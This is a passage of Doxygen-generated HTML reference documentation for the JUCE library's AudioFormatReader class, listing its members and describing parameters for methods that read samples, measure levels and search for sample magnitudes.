href="classAudioSubsectionReader.html">AudioSubsectionReader</a>, <a class="el" href="classBufferingAudioReader.html">BufferingAudioReader</a>, and <a class="el" href="classMemoryMappedAudioFormatReader.html">MemoryMappedAudioFormatReader</a>.</p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">struct &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioFormatReader_1_1ReadHelper.html">ReadHelper</a></td></tr> <tr class="memdesc:"><td class="mdescLeft">&#160;</td><td class="mdescRight">Used by <a class="el" href="classAudioFormatReader.html" title="Reads samples from an audio file stream.">AudioFormatReader</a> subclasses to copy data to different formats. <a href="structAudioFormatReader_1_1ReadHelper.html#details">More...</a><br/></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:aa5c4a7c0715e60d829a03b8aa67a8c49"><td class="memItemLeft" align="right" valign="top">virtual&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#aa5c4a7c0715e60d829a03b8aa67a8c49">~AudioFormatReader</a> ()</td></tr> <tr class="memdesc:aa5c4a7c0715e60d829a03b8aa67a8c49"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#aa5c4a7c0715e60d829a03b8aa67a8c49"></a><br/></td></tr> <tr class="separator:aa5c4a7c0715e60d829a03b8aa67a8c49"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae90256289d171f649fd83d2070b4ae32"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classString.html">String</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#ae90256289d171f649fd83d2070b4ae32">getFormatName</a> () const noexcept</td></tr> <tr class="memdesc:ae90256289d171f649fd83d2070b4ae32"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a description of what type of format this is. <a href="#ae90256289d171f649fd83d2070b4ae32"></a><br/></td></tr> <tr class="separator:ae90256289d171f649fd83d2070b4ae32"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:afe581e23098c90f1fb187fdff68d3481"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#afe581e23098c90f1fb187fdff68d3481">read</a> (int *const *destSamples, int numDestChannels, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> startSampleInSource, int numSamplesToRead, bool fillLeftoverChannelsWithCopies)</td></tr> <tr class="memdesc:afe581e23098c90f1fb187fdff68d3481"><td class="mdescLeft">&#160;</td><td class="mdescRight">Reads samples from the stream. <a href="#afe581e23098c90f1fb187fdff68d3481"></a><br/></td></tr> <tr class="separator:afe581e23098c90f1fb187fdff68d3481"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a76b621162d046224e14943782c42e090"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#a76b621162d046224e14943782c42e090">read</a> (<a class="el" href="juce__AudioSampleBuffer_8h.html#a97a2916214efbd76c6b870f9c48efba0">AudioSampleBuffer</a> *buffer, int startSampleInDestBuffer, int numSamples, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> readerStartSample, bool useReaderLeftChan, bool useReaderRightChan)</td></tr> <tr class="memdesc:a76b621162d046224e14943782c42e090"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a section of an AudioSampleBuffer from this reader. <a href="#a76b621162d046224e14943782c42e090"></a><br/></td></tr> <tr class="separator:a76b621162d046224e14943782c42e090"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aafdf75471df1ce853785ecd5fe74b9f7"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#aafdf75471df1ce853785ecd5fe74b9f7">readMaxLevels</a> (<a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> startSample, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> numSamples, <a class="el" href="classRange.html">Range</a>&lt; float &gt; *results, int numChannelsToRead)</td></tr> <tr class="memdesc:aafdf75471df1ce853785ecd5fe74b9f7"><td class="mdescLeft">&#160;</td><td class="mdescRight">Finds the highest and lowest sample levels from a section of the audio stream. <a href="#aafdf75471df1ce853785ecd5fe74b9f7"></a><br/></td></tr> <tr class="separator:aafdf75471df1ce853785ecd5fe74b9f7"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa6393d5cb57b6a03cb7544df495d86b6"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#aa6393d5cb57b6a03cb7544df495d86b6">readMaxLevels</a> (<a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> startSample, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> numSamples, float &amp;lowestLeft, float &amp;highestLeft, float &amp;lowestRight, float &amp;highestRight)</td></tr> <tr class="memdesc:aa6393d5cb57b6a03cb7544df495d86b6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Finds the highest and lowest sample levels from a section of the audio stream. <a href="#aa6393d5cb57b6a03cb7544df495d86b6"></a><br/></td></tr> <tr class="separator:aa6393d5cb57b6a03cb7544df495d86b6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a088e8f4f625a23a4fd0234eec16ec53a"><td class="memItemLeft" align="right" valign="top"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#a088e8f4f625a23a4fd0234eec16ec53a">searchForLevel</a> (<a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> startSample, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> numSamplesToSearch, double magnitudeRangeMinimum, double magnitudeRangeMaximum, int minimumConsecutiveSamples)</td></tr> <tr class="memdesc:a088e8f4f625a23a4fd0234eec16ec53a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Scans the source looking for a sample whose magnitude is in a specified range. <a href="#a088e8f4f625a23a4fd0234eec16ec53a"></a><br/></td></tr> <tr class="separator:a088e8f4f625a23a4fd0234eec16ec53a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8447eed7f81e0b931248a8eb98ed106f"><td class="memItemLeft" align="right" valign="top">virtual bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#a8447eed7f81e0b931248a8eb98ed106f">readSamples</a> (int **destSamples, int numDestChannels, int startOffsetInDestBuffer, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> startSampleInFile, int numSamples)=0</td></tr> <tr class="memdesc:a8447eed7f81e0b931248a8eb98ed106f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Subclasses must implement this method to perform the low-level read operation. <a href="#a8447eed7f81e0b931248a8eb98ed106f"></a><br/></td></tr> <tr class="separator:a8447eed7f81e0b931248a8eb98ed106f"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-attribs"></a> Public Attributes</h2></td></tr> <tr class="memitem:aafcd07b3ac08e83c019621cd8cd0c7c5"><td class="memItemLeft" align="right" valign="top">double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#aafcd07b3ac08e83c019621cd8cd0c7c5">sampleRate</a></td></tr> <tr class="memdesc:aafcd07b3ac08e83c019621cd8cd0c7c5"><td class="mdescLeft">&#160;</td><td class="mdescRight">The sample-rate of the stream. <a href="#aafcd07b3ac08e83c019621cd8cd0c7c5"></a><br/></td></tr> <tr class="separator:aafcd07b3ac08e83c019621cd8cd0c7c5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa450170dd89d247be8eb1f657b8b47d5"><td class="memItemLeft" align="right" valign="top">unsigned int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#aa450170dd89d247be8eb1f657b8b47d5">bitsPerSample</a></td></tr> <tr class="memdesc:aa450170dd89d247be8eb1f657b8b47d5"><td class="mdescLeft">&#160;</td><td class="mdescRight">The number of bits per sample, e.g. <a href="#aa450170dd89d247be8eb1f657b8b47d5"></a><br/></td></tr> <tr class="separator:aa450170dd89d247be8eb1f657b8b47d5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af7373fd7e45ed1f026647fc8671e997f"><td class="memItemLeft" align="right" valign="top"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#af7373fd7e45ed1f026647fc8671e997f">lengthInSamples</a></td></tr> <tr class="memdesc:af7373fd7e45ed1f026647fc8671e997f"><td class="mdescLeft">&#160;</td><td class="mdescRight">The total number of samples in the audio stream. <a href="#af7373fd7e45ed1f026647fc8671e997f"></a><br/></td></tr> <tr class="separator:af7373fd7e45ed1f026647fc8671e997f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2a7c577b4ececb03d3658fd0625c5b70"><td class="memItemLeft" align="right" valign="top">unsigned int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#a2a7c577b4ececb03d3658fd0625c5b70">numChannels</a></td></tr> <tr class="memdesc:a2a7c577b4ececb03d3658fd0625c5b70"><td class="mdescLeft">&#160;</td><td class="mdescRight">The total number of channels in the audio stream. <a href="#a2a7c577b4ececb03d3658fd0625c5b70"></a><br/></td></tr> <tr class="separator:a2a7c577b4ececb03d3658fd0625c5b70"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aed5e9ba760d519f110c18053d6adba7a"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#aed5e9ba760d519f110c18053d6adba7a">usesFloatingPointData</a></td></tr> <tr class="memdesc:aed5e9ba760d519f110c18053d6adba7a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Indicates whether the data is floating-point or fixed. <a href="#aed5e9ba760d519f110c18053d6adba7a"></a><br/></td></tr> <tr class="separator:aed5e9ba760d519f110c18053d6adba7a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8dfe48ed0e171928185c716811f5ecdb"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classStringPairArray.html">StringPairArray</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#a8dfe48ed0e171928185c716811f5ecdb">metadataValues</a></td></tr> <tr class="memdesc:a8dfe48ed0e171928185c716811f5ecdb"><td class="mdescLeft">&#160;</td><td class="mdescRight">A set of metadata values that the reader has pulled out of the stream. <a href="#a8dfe48ed0e171928185c716811f5ecdb"></a><br/></td></tr> <tr class="separator:a8dfe48ed0e171928185c716811f5ecdb"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a81797ede6915ec762408d8ed23ec4d10"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classInputStream.html">InputStream</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#a81797ede6915ec762408d8ed23ec4d10">input</a></td></tr> <tr class="memdesc:a81797ede6915ec762408d8ed23ec4d10"><td class="mdescLeft">&#160;</td><td class="mdescRight">The input stream, for use by subclasses. <a href="#a81797ede6915ec762408d8ed23ec4d10"></a><br/></td></tr> <tr class="separator:a81797ede6915ec762408d8ed23ec4d10"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pro-methods"></a> Protected Member Functions</h2></td></tr> <tr class="memitem:a2dfb6080eb01440fa8e8dde6b7baf5c6"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#a2dfb6080eb01440fa8e8dde6b7baf5c6">AudioFormatReader</a> (<a class="el" href="classInputStream.html">InputStream</a> *sourceStream, const <a class="el" href="classString.html">String</a> &amp;formatName)</td></tr> <tr class="memdesc:a2dfb6080eb01440fa8e8dde6b7baf5c6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an <a class="el" href="classAudioFormatReader.html" title="Reads samples from an audio file stream.">AudioFormatReader</a> object. <a href="#a2dfb6080eb01440fa8e8dde6b7baf5c6"></a><br/></td></tr> <tr class="separator:a2dfb6080eb01440fa8e8dde6b7baf5c6"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pro-static-methods"></a> Static Protected Member Functions</h2></td></tr> <tr class="memitem:a263fd3b6a51850da53fe57688f9ccb46"><td class="memItemLeft" align="right" valign="top">static void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioFormatReader.html#a263fd3b6a51850da53fe57688f9ccb46">clearSamplesBeyondAvailableLength</a> (int **destSamples, int numDestChannels, int startOffsetInDestBuffer, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> startSampleInFile, int &amp;numSamples, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> fileLengthInSamples)</td></tr> <tr class="memdesc:a263fd3b6a51850da53fe57688f9ccb46"><td class="mdescLeft">&#160;</td><td class="mdescRight">Used by <a class="el" href="classAudioFormatReader.html" title="Reads samples from an audio file stream.">AudioFormatReader</a> subclasses to clear any parts of the data blocks that lie beyond the end of their available length. <a href="#a263fd3b6a51850da53fe57688f9ccb46"></a><br/></td></tr> <tr class="separator:a263fd3b6a51850da53fe57688f9ccb46"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>Reads samples from an audio file stream. </p> <p>A subclass that reads a specific type of audio format will be created by an <a class="el" href="classAudioFormat.html" title="Subclasses of AudioFormat are used to read and write different audio file formats.">AudioFormat</a> object.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioFormat.html" title="Subclasses of AudioFormat are used to read and write different audio file formats.">AudioFormat</a>, <a class="el" href="classAudioFormatWriter.html" title="Writes samples to an audio file stream.">AudioFormatWriter</a> </dd></dl> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="a2dfb6080eb01440fa8e8dde6b7baf5c6"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">AudioFormatReader::AudioFormatReader </td> <td>(</td> <td class="paramtype"><a class="el" href="classInputStream.html">InputStream</a> *&#160;</td> <td class="paramname"><em>sourceStream</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>formatName</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">protected</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates an <a class="el" href="classAudioFormatReader.html" title="Reads samples from an audio file stream.">AudioFormatReader</a> object. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">sourceStream</td><td>the stream to read from - this will be deleted by this object when it is no longer needed. (Some specialised readers might not use this parameter and can leave it as nullptr). </td></tr> <tr><td class="paramname">formatName</td><td>the description that will be returned by the <a class="el" href="classAudioFormatReader.html#ae90256289d171f649fd83d2070b4ae32" title="Returns a description of what type of format this is.">getFormatName()</a> method </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="aa5c4a7c0715e60d829a03b8aa67a8c49"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual AudioFormatReader::~AudioFormatReader </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="ae90256289d171f649fd83d2070b4ae32"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classString.html">String</a>&amp; AudioFormatReader::getFormatName </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a description of what type of format this is. </p> <p>E.g. "AIFF" </p> </div> </div> <a class="anchor" id="afe581e23098c90f1fb187fdff68d3481"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool AudioFormatReader::read </td> <td>(</td> <td class="paramtype">int *const *&#160;</td> <td class="paramname"><em>destSamples</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numDestChannels</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>startSampleInSource</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numSamplesToRead</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>fillLeftoverChannelsWithCopies</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Reads samples from the stream. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">destSamples</td><td>an array of buffers into which the sample data for each channel will be written. If the format is fixed-point, each channel will be written as an array of 32-bit signed integers using the full range -0x80000000 to 0x7fffffff, regardless of the source's bit-depth. If it is a floating-point format, you should cast the resulting array to a (float**) to get the values (in the range -1.0 to 1.0 or beyond) If the format is stereo, then destSamples[0] is the left channel data, and destSamples[1] is the right channel. The numDestChannels parameter indicates how many pointers this array contains, but some of these pointers can be null if you don't want to read data for some of the channels </td></tr> <tr><td class="paramname">numDestChannels</td><td>the number of array elements in the destChannels array </td></tr> <tr><td class="paramname">startSampleInSource</td><td>the position in the audio file or stream at which the samples should be read, as a number of samples from the start of the stream. It's ok for this to be beyond the start or end of the available data - any samples that are out-of-range will be returned as zeros. </td></tr> <tr><td class="paramname">numSamplesToRead</td><td>the number of samples to read. If this is greater than the number of samples that the file or stream contains. the result will be padded with zeros </td></tr> <tr><td class="paramname">fillLeftoverChannelsWithCopies</td><td>if true, this indicates that if there's no source data available for some of the channels that you pass in, then they should be filled with copies of valid source channels. E.g. if you're reading a mono file and you pass 2 channels to this method, then if fillLeftoverChannelsWithCopies is true, both destination channels will be filled with the same data from the file's single channel. If fillLeftoverChannelsWithCopies was false, then only the first channel would be filled with the file's contents, and the second would be cleared. If there are many channels, e.g. you try to read 4 channels from a stereo file, then the last 3 would all end up with copies of the same data. </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>true if the operation succeeded, false if there was an error. Note that reading sections of data beyond the extent of the stream isn't an error - the reader should just return zeros for these regions </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioFormatReader.html#aafdf75471df1ce853785ecd5fe74b9f7" title="Finds the highest and lowest sample levels from a section of the audio stream.">readMaxLevels</a> </dd></dl> </div> </div> <a class="anchor" id="a76b621162d046224e14943782c42e090"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void AudioFormatReader::read </td> <td>(</td> <td class="paramtype"><a class="el" href="juce__AudioSampleBuffer_8h.html#a97a2916214efbd76c6b870f9c48efba0">AudioSampleBuffer</a> *&#160;</td> <td class="paramname"><em>buffer</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>startSampleInDestBuffer</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numSamples</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>readerStartSample</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>useReaderLeftChan</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>useReaderRightChan</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Fills a section of an AudioSampleBuffer from this reader. </p> <p>This will convert the reader's fixed- or floating-point data to the buffer's floating-point format, and will try to intelligently cope with mismatches between the number of channels in the reader and the buffer. </p> </div> </div> <a class="anchor" id="aafdf75471df1ce853785ecd5fe74b9f7"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void AudioFormatReader::readMaxLevels </td> <td>(</td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>startSample</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>numSamples</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classRange.html">Range</a>&lt; float &gt; *&#160;</td> <td class="paramname"><em>results</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numChannelsToRead</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Finds the highest and lowest sample levels from a section of the audio stream. </p> <p>This will read a block of samples from the stream, and measure the highest and lowest sample levels from the channels in that section, returning these as normalised floating-point levels.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">startSample</td><td>the offset into the audio stream to start reading from. It's ok for this to be beyond the start or end of the stream. </td></tr> <tr><td class="paramname">numSamples</td><td>how many samples to read </td></tr> <tr><td class="paramname">results</td><td>this array will be filled with <a class="el" href="classRange.html" title="A general-purpose range object, that simply represents any linear range with a start and end point...">Range</a> values for each channel. The array must contain numChannels elements. </td></tr> <tr><td class="paramname">numChannelsToRead</td><td>the number of channels of data to scan. This must be more than zero, but not more than the total number of channels that the reader contains </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioFormatReader.html#afe581e23098c90f1fb187fdff68d3481" title="Reads samples from the stream.">read</a> </dd></dl> <p>Reimplemented in <a class="el" href="classAudioSubsectionReader.html#aaf1151c9dd37fb13e276518d39a6121f">AudioSubsectionReader</a>.</p> </div> </div> <a class="anchor" id="aa6393d5cb57b6a03cb7544df495d86b6"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void AudioFormatReader::readMaxLevels </td> <td>(</td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>startSample</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>numSamples</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float &amp;&#160;</td> <td class="paramname"><em>lowestLeft</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float &amp;&#160;</td> <td class="paramname"><em>highestLeft</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float &amp;&#160;</td> <td class="paramname"><em>lowestRight</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float &amp;&#160;</td> <td class="paramname"><em>highestRight</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Finds the highest and lowest sample levels from a section of the audio stream. </p> <p>This will read a block of samples from the stream, and measure the highest and lowest sample levels from the channels in that section, returning these as normalised floating-point levels.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">startSample</td><td>the offset into the audio stream to start reading from. It's ok for this to be beyond the start or end of the stream. </td></tr> <tr><td class="paramname">numSamples</td><td>how many samples to read </td></tr> <tr><td class="paramname">lowestLeft</td><td>on return, this is the lowest absolute sample from the left channel </td></tr> <tr><td class="paramname">highestLeft</td><td>on return, this is the highest absolute sample from the left channel </td></tr> <tr><td class="paramname">lowestRight</td><td>on return, this is the lowest absolute sample from the right channel (if there is one) </td></tr> <tr><td class="paramname">highestRight</td><td>on return, this is the highest absolute sample from the right channel (if there is one) </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioFormatReader.html#afe581e23098c90f1fb187fdff68d3481" title="Reads samples from the stream.">read</a> </dd></dl> </div> </div> <a class="anchor" id="a088e8f4f625a23a4fd0234eec16ec53a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> AudioFormatReader::searchForLevel </td> <td>(</td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>startSample</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>numSamplesToSearch</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>magnitudeRangeMinimum</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>magnitudeRangeMaximum</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>minimumConsecutiveSamples</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Scans the source looking for a sample whose magnitude is in a specified range. </p> <p>This will read from the source, either forwards or backwards between two sample positions, until it finds a sample whose magnitude lies between two specified levels.</p> <p>If it finds a suitable sample, it returns its position; if not, it will return -1.</p> <p>There's also a minimumConsecutiveSamples setting to help avoid spikes or zero-crossing points when you're searching for a continuous range of samples</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">startSample</td><td>the first sample to look at </td></tr> <tr><td class="paramname">numSamplesToSearch</td><td>the number of samples to scan. If this value is negative, the search will go backwards </td></tr> <tr><td class="paramname">magnitudeRangeMinimum</td><td>the lowest magnitude (inclusive) that is considered a hit, from 0 to 1.0 </td></tr> <tr><td class="paramname">magnitudeRangeMaximum</td><td>the highest magnitude (inclusive) that is considered a hit, from 0 to 1.0 </td></tr> <tr><td class="paramname">minimumConsecutiveSamples</td><td>if this is &gt; 0, the method will only look for a sequence of this many consecutive samples, all of which lie within the target range. When it finds such a sequence, it returns the position of the first in-range sample it found (i.e. the earliest one if scanning forwards, the latest one if scanning backwards) </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a8447eed7f81e0b931248a8eb98ed106f"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual bool AudioFormatReader::readSamples </td> <td>(</td> <td class="paramtype">int **&#160;</td> <td class="paramname"><em>destSamples</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numDestChannels</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>startOffsetInDestBuffer</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" 